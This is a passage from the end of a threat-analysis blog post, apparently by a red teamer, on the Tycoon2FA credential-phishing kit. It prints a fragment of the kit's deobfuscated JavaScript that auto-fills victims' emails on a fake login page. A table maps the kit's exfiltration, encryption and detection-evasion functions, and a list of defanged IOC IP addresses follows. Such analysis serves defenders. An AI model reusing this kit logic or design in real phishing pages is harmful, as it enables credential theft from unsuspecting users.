     }, 1000);
}

} else if (view == "uname_doc") {
let emailinputcheck = document.getElementById("docemail");
let emailsectionelecheck = document.getElementById("section_uname_content");
if (emailinputcheck && !emailsectionelecheck.classList.contains("d-none")) {
    emailinputcheck.value = email;
    setTimeout(function() {
        document.getElementById('section_uname_doc').querySelector("#btn_next_doc").click();
     }, 2000);
    emailinputele = true;
} else {
     setTimeout(function() {
        tryfindingele(email);
     }, 1000);
}

} else {
     setTimeout(function() {
        tryfindingele(email);
     }, 1000);
}

}

if (typeof emailcheck !== 'undefined' && emailcheck !== null && emailcheck !== "0") {
tryfindingele(emailcheck);
}

Its very upfront and clear with user session, data and “experience” handling, so here’s the table for key utilities -

Feature Code Reference Phishing Purpose
Targeted brand/URL lists websitenames, bes, pes Guide phishing content to mimic trusted brands
Browser detection navigator.userAgent check Tailor phishing experience per browser
Geo IP collection $.get(“https://get.geojs.io/…”) Collect victim location info
Data encryption & encoding encryptData(), stringToBinary() Hide exfiltrated data from detection
Data exfiltration sendlive(), AJAX POST to urlo Send victim info to attacker server
Randomized request URLs sendAndReceive() with RandExp Evade URL-based detection
UI flow control Section show/hide with animations Simulate legitimate login UI
Auto-fill email input tryfindingele() Speed up credential capture
Error handling & retry startdisconnecttimer(), AJAX retries Keep victim engaged, simulate real errors

Indicators of Compromise (IOCs)

IP Addresses
106[.]153[.]226[.]33
106[.]153[.]226[.]34
106[.]153[.]226[.]38
106[.]153[.]226[.]42
106[.]153[.]227[.]117
106[.]153[.]227[.]35
106[.]153[.]227[.]36
106[.]153[.]227[.]39
106[.]153[.]227[.]41
106[.]153[.]227[.]42
120[.]137[.]171[.]108
120[.]137[.]171[.]109
120[.]137[.]171[.]110
120[.]137[.]171[.]111
120[.]137[.]171[.]70
120[.]137[.]171[.]71
133[.]18[.]188[.]244
133[.]18[.]189[.]51
133[.]18[.]39[.]116
133[.]186[.]39[.]48
133[.]186[.]39[.]50
133[.]186[.]39[.]52
133[.]186[.]39[.]53
133[.]186[.]39[.]54
139[.]28[.]36[.]230
139[.]28[.]38[.]90
150[.]60[.]159[.]5
150[.]60[.]169[.]253
150[.]60[.]232[.]68
153[.]127[.]230[.]102
153[.]127[.]230[.]136
153[.]127[.]230[.]81
153[.]127[.]234[.]174
153[.]127[.]234[.]19
153[.]127[.]234[.]3
153[.]127[.]234[.]4
153[.]127[.]234[.]5
158[.]199[.]221[.]240
182[.]48[.]49[.]208
203[.]142[.]206[.]254
210[.]134[.]58[.]152
210[.]224[.]185[.]211
219[.]94[.]155[.]74
27[.]121[.]5[.]172
27[.]121[.]5[.]173
27[.]121[.]5[.]174
27[.]121[.]5[.]175
27[.]121[.]5[.]176
27[.]121[.]5[.]177
27[.]121[.]5[.]178
27[.]121[.]5[.]179
49[.]212[.]235[.]231
51[.]89[.]55[.]195
59[.]106[.]171[.]67
59[.]84[.]175[.]232
59[.]84[.]175[.]233

Tycoon2FA is still active and utilizing these sophisticated TTPs for enterprise phishing. So far, the user data handling, rendering the landing page and the Anti-Anaysis feature, all of them were obfuscated and encrypted in 3 different pages in multiple stages, which makes analysis difficult. Previous research from trustwave shows how they did obfuscation using Invisible unicode characters and proxies, and much more.

References -

One thing I know for sure is that Tycoon2FA’s Phishing kit is evolving fast with time, in the last 4 months itself I have observed over 4 variants of the kits. Further, there are no more packaging of HTML content beyond what we saw already, encrypted or obfuscated, so we should call it a day here.

Thank you so much for sticking this far. As a Red Teamer, analyzing threat actor’s malware and phishing campaigns is fruitful, we gain insights into what’s being effective, and of course for the TTPs. If you are interested to emulate a similar kind of phishing operation in your environment, I would highly recommend checking the Offensive Phishing Course - Maldev Academy. The syllabus is comprehensive and goes over multiple Anti-Analysis techniques, I hope to bring a detailed review of this course some time later.


If you have any questions or need personal guidance then feel free to contact me here

Thanks for spending your time and giving it a read.
© 2025 Siddhartha Shree Kaushik